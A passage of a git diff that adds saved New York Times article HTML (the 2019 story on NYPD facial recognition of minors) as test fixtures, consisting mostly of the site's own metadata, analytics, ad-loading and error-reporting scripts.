Afghanistan.\u003C\u002Fp\u003E","__typename":"PersonLegacyData"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.0":{"type":"url","account":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fali-watkins","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.1":{"type":"twitter","account":"AliWatkins","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails":{"socialMedia":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.0","typename":"ContactDetailsSocialMedia"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.1","typename":"ContactDetailsSocialMedia"}],"__typename":"ContactDetails"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.legacyData":{"htmlShortBiography":"\u003Cp\u003EAli Watkins is a reporter on the Metro Desk, covering courts and social services. Previously, she covered national security in Washington for The Times, BuzzFeed and McClatchy Newspapers.\u003C\u002Fp\u003E","__typename":"PersonLegacyData"},"ROOT_QUERY":{"workOrLocation({\"id\":\"\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html\"})":{"type":"id","generated":false,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==","typename":"Article"}}},"config":{"gqlUrl":"https:\u002F\u002Fsamizdat-graphql.nytimes.com\u002Fgraphql\u002Fv2","gqlRequestHeaders":{"nyt-app-type":"project-vi","nyt-app-version":"0.0.5","nyt-token":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs+\u002FoUCTBmD\u002FcLdmcecrnBMHiU\u002FpxQCn2DDyaPKUOXxi4p0uUSZQzsuq1pJ1m5z1i0YGPd1U1OeGHAChWtqoxC7bFMCXcwnE1oyui9G1uobgpm1GdhtwkR7ta7akVTcsF8zxiXx7DNXIPd2nIJFH83rmkZueKrC4JVaNzjvD+Z03piLn5bHWU6+w+rA+kyJtGgZNTXKyPh6EC6o5N+rknNMG5+CdTq35p8f99WjFawSvYgP9V64kgckbTbtdJ6YhVP58TnuYgr12urtwnIqWP9KSJ1e5vmgf3tunMqWNm6+AnsqNj8mCLdCuc5cEB74CwUeQcP2HQQmbCddBy2y0mEwIDAQAB"},"gqlFetchTimeout":4000,"disablePersistedQueries":false,"initialDeviceType":"desktop","fastlyAbraConfig":{},"serviceWorkerFile":"service-worker-test-1565019880489.js"},"ssrQuery":{},"initialLocation":{"pathname":"\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html"},"externalAssets":[]};</script>
+ <script>!function(e){function r(r){for(var n,i,a=r[0],f=r[1],l=r[2],p=0,s=[];p<a.length;p++)i=a[p],o[i]&&s.push(o[i][0]),o[i]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(c&&c(r);s.length;)s.shift()();return u.push.apply(u,l||[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++){var f=t[a];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=i(i.s=t[0]))}return e}var n={},o={37:0},u=[];function i(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.m=e,i.c=n,i.d=function(e,r,t){i.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,r){if(1&r&&(e=i(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)i.d(t,n,function(r){return e[r]}.bind(null,n));return t},i.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(r,"a",r),r},i.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},i.p="/vi-assets/static-assets/";var a=window.webpackJsonp=window.webpackJsonp||[],f=a.push.bind(a);a.push=r,a=a.slice();for(var l=0;l<a.length;l++)r(a[l]);var c=f;t()}([]);
+//# sourceMappingURL=runtime~adslot-a45e9d5711d983de8fda.js.map</script>
+ <script async src="/vi-assets/static-assets/adslot-88dc25fbfb7328ff1466.js"></script>
+ <script>!function(e){function r(r){for(var o,n,c=r[0],i=r[1],s=r[2],f=0,l=[];f<c.length;f++)n=c[f],d[n]&&l.push(d[n][0]),d[n]=0;for(o in i)Object.prototype.hasOwnProperty.call(i,o)&&(e[o]=i[o]);for(b&&b(r);l.length;)l.shift()();return a.push.apply(a,s||[]),t()}function t(){for(var e,r=0;r<a.length;r++){for(var t=a[r],o=!0,c=1;c<t.length;c++){var i=t[c];0!==d[i]&&(o=!1)}o&&(a.splice(r--,1),e=n(n.s=t[0]))}return e}var o={},d={39:0},a=[];function n(r){if(o[r])return o[r].exports;var t=o[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,n),t.l=!0,t.exports}n.e=function(e){var r=[],t=d[e];if(0!==t)if(t)r.push(t[2]);else{var o=new Promise(function(r,o){t=d[e]=[r,o]});r.push(t[2]=o);var a,c=document.createElement("script");c.charset="utf-8",c.timeout=120,n.nc&&c.setAttribute("nonce",n.nc),c.src=function(e){return n.p+""+({1:"answerpage~bestsellers~collections~hubpage~reviews~search~slideshow~timeswire~weddings",2:"vendors~audio~home~paidpost~story~trending~video",3:"bestsellers~byline~collections~reviews~trending",4:"vendors~answerpage~audio~slideshow~story",5:"vendors~audio~home~paidpost~story",6:"byline~timeswire~your-list",7:"answerpage~getstarted",8:"bestsellers~hubpage",9:"newsletter~regilite",10:"vendors~paidpost~video",11:"vendors~video~videoblock",13:"answerpage",14:"audio",15:"audioblock",16:"bestsellers",17:"blank",18:"byline",19:"coderedeem",20:"collections",21:"comments",22:"episodefooter",23:"getstarted",24:"home",25:"hubpage",28:"newsletter",29:"newsletters",30:"paidpost",31:"privacy",32:"programmables",33:"recirculation",34:"refer",35:"regilite",36:"reviews",40:"search",41:"slideshow",42:"stickyfilljs",43:"story",44:"timeswire",45:"trending",46:"vendors~audioblock",47:"vendors~collections",48:"vendors~episodefooter",49:"vendors~home",50:"vendors~slideshow",51:"video",52:"videoblock",53:"weddings",54:"your-list"}[e]||e)+"-"+{1:"3f4fa7221ef1476092a3",2:"99859b76d5b5d9a29339",3:"6f48de596aff21cee9e2",4:"4a8420b672b0eb786710",5:"ebc6aacf5f0b0f00d939",6:"cb31ca27d295accb8d47",7:"80921fe67fb06673afe2",8:"2cb427a40932c00d5467",9:"c17835f4020a81b3ebdf",10:"e6333c5f0c9d44a562b9",11:"340b908d6bbf26111cf8",13:"8c464e3538096d914776",14:"926f804d67e8a45a9f10",15:"287cb8154113b7f25784",16:"f4baccd76f2f8e8d9db8",17:"2102d3a3d664a932bad1",18:"7e235f2b3d6d19b68ded",19:"dd19d8e9f879d86abb75",20:"74e3e7b1d52b7fc14653",21:"bfae7d48bcf7e6c8ab89",22:"d32caaca6c5936978d4a",23:"300b3f609b3056db6c18",24:"e7c1959c1d8ba140707f",25:"c0e7bb29b120c3c2d802",28:"3ae59c9859d057a0249a",29:"e951dbf493cdf3558858",30:"c108afd87ed307bd7c43",31:"493cddaf9cad7abf670c",32:"3c3cfd695943ed02249d",33:"dc560ec354d5e74e6e39",34:"3202500fd0bc711d8680",35:"67182278afc38ad823b1",36:"f189bd767bbe13f59254",40:"33f98b7462fec3740a1d",41:"1d22c2cff98639b0c7b7",42:"8640087ba86873ebebae",43:"5230dd3423d03f5eb0b8",44:"2db55c4529c54890b4bd",45:"4614204aab86dd2d820f",46:"8574ab7f8faa5e4151d8",47:"07007634cf48d865ae1a",48:"1e063f58b4e3da82fc25",49:"6e63337189383a709584",50:"ab09592f64b71ce13dba",51:"35bd41b25aecc8dbc38b",52:"e71ac27943b9c0dc2f1c",53:"65894e06a558684c455b",54:"cf5b2e08b6f7a84842e2"}[e]+".js"}(e),a=function(r){c.onerror=c.onload=null,clearTimeout(i);var t=d[e];if(0!==t){if(t){var o=r&&("load"===r.type?"missing":r.type),a=r&&r.target&&r.target.src,n=new Error("Loading chunk "+e+" failed.\n("+o+": "+a+")");n.type=o,n.request=a,t[1](n)}d[e]=void 0}};var i=setTimeout(function(){a({type:"timeout",target:c})},12e4);c.onerror=c.onload=a,document.head.appendChild(c)}return Promise.all(r)},n.m=e,n.c=o,n.d=function(e,r,t){n.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,r){if(1&r&&(e=n(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(n.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var o in e)n.d(t,o,function(r){return e[r]}.bind(null,o));return t},n.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(r,"a",r),r},n.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},n.p="/vi-assets/static-assets/",n.oe=function(e){throw console.error(e),e};var c=window.webpackJsonp=window.webpackJsonp||[],i=c.push.bind(c);c.push=r,c=c.slice();for(var s=0;s<c.length;s++)r(c[s]);var b=i;t()}([]);
+//# sourceMappingURL=runtime~main-262212ad851d651999bf.js.map</script>
+ <script defer src="/vi-assets/static-assets/vendor-3389f9c978bdc7cb443c.js"></script>
+ <script defer src="/vi-assets/static-assets/story-5230dd3423d03f5eb0b8.js"></script>
+ <script defer src="/vi-assets/static-assets/main-72d661c291004bc90d1b.js"></script>
+ <script>
+(function(w, l) {
+ w[l] = w[l] || [];
+ w[l].push({
+ 'gtm.start': new Date().getTime(),
+ event: 'gtm.js'
+ });
+})(window, 'dataLayer');
+(function(){
+ var url = 'https://et.nytimes.com/pixel' +
+ '?url=' + window.location.href +
+ '&referrer=' + document.referrer +
+ '&subject=module-interactions' +
+ '&moduleData=%7B%22module%22%3A%22nyt-vi-page-pixel%22%2C%22pgType%22%3A%22%22%2C%22eventName%22%3A%22Impression%22%2C%22action%22%3A%22Impression%22%7D' +
+ '&sourceApp=nyt-vi&instant=1' +
+ '&_=' + Date.now();
+ var img = document.createElement('img');
+ img.src = url;
+ img.alt = "";
+ img.style.cssText = 'position: absolute; z-index: -999999; left: -1000px; top: -1000px;';
+ document.body.appendChild(img);
+})();
+</script>
+ <script defer src="https://www.googletagmanager.com/gtm.js?id=GTM-P528B3&gtm_auth=tfAzqo1rYDLgYhmTnSjPqw&gtm_preview=env-130&gtm_cookies_win=x"></script>
+<noscript>
+<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-P528B3&gtm_auth=tfAzqo1rYDLgYhmTnSjPqw&gtm_preview=env-130&gtm_cookies_win=x" height="0" width="0" style="display:none;visibility:hidden"></iframe>
+</noscript>
+ <div id="RavenInstaller">
+<script>
+if (window.INSTALL_RAVEN) {
+ window.addEventListener('load', function(event) {
+ var includeRaven = document.getElementById("RavenInstaller");
+ var script = document.createElement("script");
+ script.src = "/vi-assets/static-assets/raven.min-830a6d04a55c283934dd1893d6ddc66d.js";
+ script.onload = function() {
+ /* eslint-disable */
+// Install Raven
+window.Raven.config('https://7bc8bccf5c254286a99b11c68f6bf4ce@sentry.io/178860', {
+ release: vi.env.RELEASE,
+ environment: vi.env.ENVIRONMENT,
+ ignoreErrors: [/SecurityError: Blocked a frame with origin.*/]
+}).install(); // Stop using our error handler
+
+window.nyt_errors.ravenInstalled = true;
+var regex = /nyt-a=(.*?)(;|$)/;
+var id = regex.exec(document.cookie);
+
+if (id !== null) {
+ id = id[1];
+} else {
+ id = '';
+} // Setting nyt-a as user context
+
+
+window.Raven.setUserContext({
+ id: id
+}); // Pass collected errors to Raven
+
+window.nyt_errors.list.forEach(function (err) {
+ // weird?
+ if (!err) {
+ return;
+ } // also weird ... ?
+
+
+ if (!err.err) {
+ // maybe err itself is an Error?
+ if (err instanceof Error) {
+ window.Raven.captureException(err, err.data || {});
+ } // else { silently ignore? }
+
+ } // just making sure ...
+
+
+ if (err.err instanceof Error) {
+ window.Raven.captureException(err.err, err.data || {});
+ } // else { silently ignore? }
+
+}); // Pass collected Tags to Raven
+
+window.nyt_errors.tags.forEach(function (tag) {
+ window.Raven.setTagsContext(tag);
+});
+ };
+ includeRaven.appendChild(script);
+ });
+}
+</script>
+</div>
+
+
+ </body>
+</html>
diff --git a/test/fixtures/nypd-facial-recognition-children-teenagers3.html b/test/fixtures/nypd-facial-recognition-children-teenagers3.html
new file mode 100644
index 000000000..53454d23e
--- /dev/null
+++ b/test/fixtures/nypd-facial-recognition-children-teenagers3.html
@@ -0,0 +1,227 @@
+<!DOCTYPE html>
+<html lang="en" itemId="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" itemType="http://schema.org/NewsArticle" itemScope="" class="story" xmlns:og="http://opengraphprotocol.org/schema/">
+ <head>
+ <title data-rh="true">She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database. - The New York Times</title>
+ <meta data-rh="true" itemprop="inLanguage" content="en-US"/><meta data-rh="true" property="article:published" itemprop="datePublished dateCreated" content="2019-08-01T17:15:31.000Z"/><meta data-rh="true" property="article:modified" itemprop="dateModified" content="2019-08-02T09:30:23.000Z"/><meta data-rh="true" http-equiv="Content-Language" content="en"/><meta data-rh="true" name="robots" content="noarchive"/><meta data-rh="true" name="articleid" itemprop="identifier" content="100000006583622"/><meta data-rh="true" name="nyt_uri" itemprop="identifier" content="nyt://article/9da58246-2495-505f-9abd-b5fda8e67b56"/><meta data-rh="true" name="pubp_event_id" itemprop="identifier" content="pubp://event/47a657bafa8a476bb36832f90ee5ac6e"/><meta data-rh="true" name="description" itemprop="description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" name="image" itemprop="image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg"/><meta data-rh="true" name="byl" content="By Joseph Goldstein and Ali Watkins"/><meta data-rh="true" name="thumbnail" itemprop="thumbnailUrl" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-thumbStandard.jpg"/><meta data-rh="true" name="news_keywords" content="NYPD,Juvenile delinquency,Facial Recognition,Privacy,Government Surveillance,Police,Civil Rights,NYC"/><meta data-rh="true" name="pdate" content="20190801"/><meta data-rh="true" property="og:url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="og:type" content="article"/><meta data-rh="true" property="og:title" content="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/><meta data-rh="true" property="og:image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg"/><meta data-rh="true" property="og:description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" property="article:section" itemprop="articleSection" content="New York"/><meta data-rh="true" property="article:tag" content="Police Department (NYC)"/><meta data-rh="true" property="article:tag" content="Juvenile Delinquency"/><meta data-rh="true" property="article:tag" content="Facial Recognition Software"/><meta data-rh="true" property="article:tag" content="Privacy"/><meta data-rh="true" property="article:tag" content="Surveillance of Citizens by Government"/><meta data-rh="true" property="article:tag" content="Police"/><meta data-rh="true" property="article:tag" content="Civil Rights and Liberties"/><meta data-rh="true" property="article:tag" content="New York City"/><meta data-rh="true" name="CG" content="nyregion"/><meta data-rh="true" name="SCG" content=""/><meta data-rh="true" name="CN" content="experience-tech-and-society"/><meta data-rh="true" name="CT" content="spotlight"/><meta data-rh="true" name="PT" content="article"/><meta data-rh="true" name="PST" content="News"/><meta data-rh="true" name="url" itemprop="url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" name="msapplication-starturl" content="https://www.nytimes.com"/><meta data-rh="true" property="al:android:url" content="nytimes://reader/id/100000006583622"/><meta data-rh="true" property="al:android:package" content="com.nytimes.android"/><meta data-rh="true" property="al:android:app_name" content="NYTimes"/><meta data-rh="true" name="twitter:app:name:googleplay" content="NYTimes"/><meta data-rh="true" name="twitter:app:id:googleplay" content="com.nytimes.android"/><meta data-rh="true" name="twitter:app:url:googleplay" content="nytimes://reader/id/100000006583622"/><meta data-rh="true" property="al:iphone:url" content="nytimes://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="al:iphone:app_store_id" content="284862083"/><meta data-rh="true" property="al:iphone:app_name" content="NYTimes"/><meta data-rh="true" property="al:ipad:url" content="nytimes://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="al:ipad:app_store_id" content="357066198"/><meta data-rh="true" property="al:ipad:app_name" content="NYTimes"/>
+ <meta charset="utf-8" />
+<meta http-equiv="X-UA-Compatible" content="IE=edge" />
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
+<meta property="fb:app_id" content="9869919170" />
+<meta name="twitter:site" value="@nytimes" />
+
+
+ <script type="text/javascript">
+ // 20.585kB
+ window.viHeadScriptSize = 20.585;
+ (function () { var _f=function(e){window.vi=window.vi||{},window.vi.env=Object.freeze(e)};;_f.apply(null, [{"JKIDD_PATH":"https://a.nytimes.com/svc/nyt/data-layer","ET2_URL":"https://a.et.nytimes.com","WEDDINGS_PATH":"https://content.api.nytimes.com","GDPR_PATH":"https://us-central1-nyt-wfvi-prd.cloudfunctions.net/gdpr-email-form","RECAPTCHA_SITEKEY":"6LevSGcUAAAAAF-7fVZF05VTRiXvBDAY4vBSPaTF","ABRA_ET_URL":"//et.nytimes.com","NODE_ENV":"production","SENTRY_SAMPLE_RATE":"10","EXPERIMENTAL_ROUTE_PREFIX":"","ENVIRONMENT":"prd","RELEASE":"034494769d779a637c178f47c2096df69b7c07a4","AUTH_HOST":"https://myaccount.nytimes.com","SWG_PUBLICATION_ID":"nytimes.com","GQL_FETCH_TIMEOUT":"4000"}]); })();;
+ !function(){if('PerformanceLongTaskTiming' in window){var g=window.__tti={e:[]};
+ g.o=new PerformanceObserver(function(l){g.e=g.e.concat(l.getEntries())});
+ g.o.observe({entryTypes:['longtask']})}}();
+;
+ !function(n,e){var t,o,i,c=[],f={passive:!0,capture:!0},r=new Date,a="pointerup",u="pointercancel";function p(n,c){t||(t=c,o=n,i=new Date,w(e),s())}function s(){o>=0&&o<i-r&&(c.forEach(function(n){n(o,t)}),c=[])}function l(t){if(t.cancelable){var o=(t.timeStamp>1e12?new Date:performance.now())-t.timeStamp;"pointerdown"==t.type?function(t,o){function i(){p(t,o),r()}function c(){r()}function r(){e(a,i,f),e(u,c,f)}n(a,i,f),n(u,c,f)}(o,t):p(o,t)}}function w(n){["click","mousedown","keydown","touchstart","pointerdown"].forEach(function(e){n(e,l,f)})}w(n),self.perfMetrics=self.perfMetrics||{},self.perfMetrics.onFirstInputDelay=function(n){c.push(n),s()}}(addEventListener,removeEventListener);
+;try {
+ var observer = new window.PerformanceObserver(function (list) {
+ var entries = list.getEntries();
+
+ for (var i = 0; i < entries.length; i += 1) {
+ var entry = entries[i];
+ var performance = {};
+
+ performance[entry.name] = Math.round(entry.startTime + entry.duration);
+ (window.dataLayer = window.dataLayer || []).push({
+ event: "performance",
+ pageview: {
+ performance: performance
+ }
+ });
+ }
+ });
+ observer.observe({
+ entryTypes: ["paint"]
+ });
+} catch (e) {};
+!function(i,e){var a,s,c,p,u,g=[],
+l="object"==typeof i.navigator&&"string"==typeof i.navigator.userAgent&&/iP(ad|hone|od)/.test(
+i.navigator.userAgent),f="object"==typeof i.navigator&&i.navigator.sendBeacon,
+y=f?l?"xhr_ios":"beacon":"xhr";function d(){var e,t,n=i.crypto||i.msCrypto;if(n)t=n.getRandomValues(
+new Uint8Array(18));else for(t=[];t.length<18;)t.push(256*Math.random()^255&(e=e||+new Date)),
+e=Math.floor(e/256);return btoa(String.fromCharCode.apply(String,t)).replace(/\+/g,"-").replace(
+/\//g,"_")}if(i.nyt_et)try{console.warn("et2 snippet should only load once per page")}catch(e
+){}else i.nyt_et=function(){var e,t,n,o=arguments;function r(r){g.length&&(function(e,t,n){if(
+"beacon"===y||f&&r)return i.navigator.sendBeacon(e,t)
+;var o="undefined"!=typeof XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP")
+;o.open("POST",e),o.withCredentials=!0,o.setRequestHeader("Accept","*/*"),
+"string"==typeof t?o.setRequestHeader("Content-Type","text/plain;charset=UTF-8"
+):"[object Blob]"==={}.toString.call(t)&&t.type&&o.setRequestHeader("Content-Type",t.type);try{
+o.send(t)}catch(e){}}(a+"/track",JSON.stringify(g)),g.length=0,clearTimeout(u),u=null)}if(
+"string"==typeof o[0]&&/init/.test(o[0])&&(c=d(),"init"==o[0]&&!s)){if(s=d(),
+"string"!=typeof o[1]||!/^http/.test(o[1]))throw new Error("init must include an et host url")
+;a=String(o[1]).replace(/\/$/,""),"string"==typeof o[2]&&(p=o[2])}n="page_exit"==(e=o[o.length-1]
+).subject||"ob_click"==(e.eventData||{}).type,a&&"object"==typeof e&&(t="page"==e.subject?c:d(),
+e.sourceApp&&(p=e.sourceApp),e.sourceApp=p,g.push({context_id:s,pageview_id:c,event_id:t,
+client_lib:"v1.0.5",sourceApp:p,how:n&&l&&f?"beacon_ios":y,client_ts:+new Date,data:JSON.parse(
+JSON.stringify(e))}),"send"==o[0]||t==c||n?r(n):u||(u=setTimeout(r,5500)))},
+i.nyt_et.get_pageview_id=function(){return c}}(window);
+;
+var NYTD=NYTD||{};NYTD.Abra=function(t){"use strict";function e(t){var e=r[t];return e&&e[1]||null}function n(t,e){if(t){var n,r,o=e[0],i=e[1],c=0,u=0;if(1!==i.length||4294967296!==i[0])for(n=a(t+" "+o)>>>0,c=0,u=0;r=i[c++];)if(n<(u+=r[0]))return r}}function a(t){for(var e,n,a,r,o,i,c,u=0,h=0,l=[],s=[e=1732584193,n=4023233417,~e,~n,3285377520],f=[],p=t.length;h<=p;)f[h>>2]|=(h<p?t.charCodeAt(h):128)<<8*(3-h++%4);for(f[c=p+8>>2|15]=p<<3;u<=c;u+=16){for(e=s,h=0;h<80;e=[0|[(i=((t=e[0])<<5|t>>>27)+e[4]+(l[h]=h<16?~~f[u+h]:i<<1|i>>>31)+1518500249)+((n=e[1])&(a=e[2])|~n&(r=e[3])),o=i+(n^a^r)+341275144,i+(n&a|n&r|a&r)+882459459,o+1535694389][0|h++/20],t,n<<30|n>>>2,a,r])i=l[h-3]^l[h-8]^l[h-14]^l[h-16];for(h=5;h;)s[--h]=s[h]+e[h]|0}return s[0]}var r,o={};return t.dataLayer=t.dataLayer||[],e.init=function(e){var a,o,i,c,u,h,l,s,f,p,d=[],v=[],m=(t.document.cookie.match(/(?:^|;) *nyt-a=([^;]*)/)||[])[1],b=(t.document.cookie.match(/(?:^|;) *ab7=([^;]*)/)||[])[1],g=(t.location.search.match(/(?:^\?|&)abra=([^&]*)/)||[])[1];if(r)throw new Error("can't init twice");for(r={},u=(decodeURIComponent(b||"")+"&"+decodeURIComponent(g||"")).split("&"),a=u.length-1;a>=0;a--)h=u[a].split("="),h.length<2||(l=h[0])&&!r[l]&&(s=h[1]||null,r[l]=[,s,1],s&&d.push(l+"="+s),v.push({test:l,variant:s||"0"}));for(a=0;a<e.length;a++)i=e[a],(o=i[0])in r||(c=n(m,i)||[],c[0],f=c[1],p=!!c[2],r[o]=c,f&&d.push(o.replace(/[^\w-]/g)+"="+(""+f).replace(/[^\w-]/g)),p&&v.push({test:o,variant:f||"0"}));d.length&&t.document.documentElement.setAttribute("data-nyt-ab",d.join(" ")),v.length&&t.dataLayer.push({event:"ab-alloc",abtest:{batch:v}})},e.reportExposure=function(e,n){if(!o[e]){o[e]=1;var a=r[e];if(a){var i=a[1];a[2]&&t.dataLayer.push({event:"ab-expose",abtest:{test:e,variant:i||"0"}})}n&&t.setTimeout(function(){n(null)},0)}},e}(this);
+;(function () { var NYTD=window.NYTD||{};function setupTimeZone(){var e='[data-timezone][data-timezone~="'+(new Date).getHours()+'"] { display: block }',t=document.createElement("style");t.innerHTML=e,document.head.appendChild(t)}function addNYTAppClass(){var e=window.navigator.userAgent||window.navigator.vendor||window.opera,t=-1!==e.indexOf("nyt_android"),n=-1!==e.indexOf("nytios");(t||n)&&document.documentElement.classList.add("NYTApp")}function setupPageViewId(){NYTD.PageViewId={},NYTD.PageViewId.update=function(){return"undefined"!=typeof nyt_et&&"function"==typeof window.nyt_et.get_pageview_id?(window.nyt_et("pageinit"),NYTD.PageViewId.current=window.nyt_et.get_pageview_id()):NYTD.PageViewId.current="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),NYTD.PageViewId.current}}var _f=function(e){try{document.domain="nytimes.com"}catch(e){}window.swgUserInfoXhrObject=new XMLHttpRequest,window.__emotion=e.emotionIds,setupPageViewId(),setupTimeZone(),addNYTAppClass(),window.nyt_et("init",vi.env.ET2_URL,"nyt-vi",{subject:"page",canonicalUrl:(document.querySelector("link[rel=canonical]")||{}).href,articleId:(document.querySelector("meta[name=articleid]")||{}).content,nyt_uri:(document.querySelector("meta[name=nyt_uri]")||{}).content,pubpEventId:(document.querySelector("meta[name=pubp_event_id]")||{}).content,url:location.href,referrer:document.referrer||void 0,client_tz_offset:(new Date).getTimezoneOffset()}),"undefined"!=typeof nyt_et&&"function"==typeof window.nyt_et.get_pageview_id?NYTD.PageViewId.current=window.nyt_et.get_pageview_id():NYTD.PageViewId.update(),NYTD.Abra.init(e.abraConfig,vi.env.ABRA_ET_URL)};;_f.apply(null, [{"emotionIds":["0","1dv1kvn","v89234","nuvmzp","1gz70xg","9e9ivx","2bwtzy","1hyfx7x","6n7j50","1kj7lfb","10m9xeu","vz7hjd","1fe7a5q","1rn5q1r","10488qs","1iruc8t","1ropbjl","uw59u","jxzr5i","oylsik","1otr2jl","1c8n994","qtw155","v0l3hm","g4gku8","1rr4qq7","6xhk3s","rxqrcl","tj0ten","ist4u3","1gprdgz","10t7hia","mzqdl","kwpx34","1k2cjfc","1vhk1ks","6td9kr","r5ic95","15uy5yv","1p8nkc0","5j8bii","1am0aiv","1g7m0tk","d8bdto","y8aj3r","60hakz","i29ckm","acwcvw","1baulvz","f8wsfj","mhvv8m","m6999o","i9gxme","1m9j9gf","1sy8kpn","19vbshk","l9onyx","79elbk","1q1yk17","g7rb99","k008qs","bsn42l","11cwn6f","ghw4n2","1c5cfvc","htgkrt","e64et","9zaqp9","16fq4rz","1kjk1j2","88g286","12yx39b","4hu8jm","1wqz2f4","yl3z84","1q3gjvc","nc39ev","amd09y","ru1vxe","ajnadh","1ri25x2","12fr9lp","1hfdzay","4g4cvq","m6xlts","1ahhg7f","fwqvlz","17xtcya","x15j1o","1705lsu","1iwv8en","b7n1on","1b9egsl","1rj8to8","4w91ra","wg1cha","1ubp8k9","1egl8em","vdv0al","1i2y565","o6xoe7","1fanzo5","53u6y8","1m50asq","z3e15g","uwwqev","1ly73wi","7y3qfv","l72opv","4skfbu","1fcn4th","13zu7ev","f7l8cz","16ogagc","17ai7jg","8i9d0s","1nwzsjy","10698na","nhjhh0","1nuro5j","1w5cs23","4brsb6","uhuo44","exrw3m","1a48zt4","1xdhyk6","vuqh7u","1l44abu","jcw7oy","10raysz","ar1l6a","1ede5it","mn5hq9","1qmnftd","1ho5u4o","13o0c9t","1yo489b","ulr03x","1bymuyk","1waixk9","1f7ibof","l2ztic","19lv58h","mgtjo2","1wr3we4","y3sf94","1bnxwmn","1i8g3m4","3qijnq","uqyvli","1uqjmks","1bvtpon","1vxca1d","1vkm6nb","1ox9jel","1riqqik","2fg4z9","11n4cex","1ifw933","1rjmmt7","rqb9bm","19hdyf3","15g2oxy","2b3w4o","14b9hti","1j8dw05","1vm5oi9","32rbo2","llk6mt","1s4ffep","pdw9fk","1txwxcy","1soubk3"],"abraConfig":[["vi-ads-et",[[257698038,"2_remainder",1],[4037269258,null,0]]],["messaging-optimizely",[[4294967296,"1",0]]],["dfp_adslot4v2",[[4294967296,